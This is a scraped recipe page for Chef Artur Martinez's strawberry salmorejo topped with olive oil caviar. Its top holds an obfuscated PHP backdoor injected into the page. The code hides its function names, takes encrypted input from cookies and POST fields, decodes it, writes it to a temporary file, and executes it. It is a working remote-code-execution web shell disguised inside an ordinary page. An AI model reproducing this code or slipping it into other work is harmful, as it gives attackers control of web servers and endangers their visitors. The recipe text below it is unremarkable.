$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();} Strawberry Salmorejo with Olive Oil Caviar | Molecular Recipes
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29Jun/11

Strawberry Salmorejo with Olive Oil Caviar

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The Strawberry Salmorejo with Olive Oil Caviar is a molecular gastronomy dish by Chef Artur Martinez from Capritx (1 Michelin Star) in Spain.

Salmorejo, typical dish from Cordoba in the south of Spain, is similar to a traditional tomato gazpacho but richer and smoother. In this recipe, strawberries are used instead of tomatoes to create a unique dish that it is then topped with Caviaroli olive oil caviar to add a magical touch.

Ingredients for Strawberry Salmorejo (4 servings)

- 100 g (3.5 oz) red bell pepper

- 300 g  (10.6 oz) strawberries

Strawberry Salmorejo with Olive Oil Caviar- 100 g (3.5 oz) forest strawberries (replace with strawberries if not available)

- 1/5 garlic clove, peeled

- 120 ml (4.1 oz) extra virgin olive oil

- 100 ml (3.4 oz) mineral water

- 1/2 tsp salt

- 10 ml (0.34 oz) Sherry Vinegar

- Powdered freeze-dried strawberries

 Ingredients for Brunoise of strawberry, bell pepper and basil

- 1/2 handful of basil leaves

- 75 ml (2.5 oz) extra virgin olive oil

- 25 g (0.9 oz) strawberries cut in cubes

- 15 g (0.53 oz) peeled red bell pepper cut in cubes

- 5 g (0.18 oz) of finely chopped onions

- Salt

 Other Ingredients

- 4 asparagus ribbons (cut them thin lengthwise with vegetable peeler or mandolin)

- 4 tbsp Caviaroli olive oil caviar

- Croutons

- Salt flakes

Preparation

Strawberry Salmorejo

1- Wash the strawberries, cut them in quarters and place them in the fridge in a covered container for 24 hours.

2- Process strawberries with the rest of the ingredients in a food processor until smooth.

3- Pass mixture through a fine sieve.

4- Add vinegar and salt if necessary and keep in the fridge until serving. It needs to be really cold before serving so allow for a few hours in the fridge before serving.

Brunoise

1- Process the basil with the olive oil until smooth.

2- Mix the basil oil with the rest of the ingredients and reserve.

Assemble and Serve

1- In the bottom of a glass, place a base of the strawberry brunoise making sure you do not touch the sides of the glass.

2- Taking the same care, cover with strawberry salmorejo.

3- Finish with a ribbon of asparagus, a spoon of Caviaroli olive oil caviar, croutons and a pinch of salt flakes.

4- Serve immediately before it gets warm.

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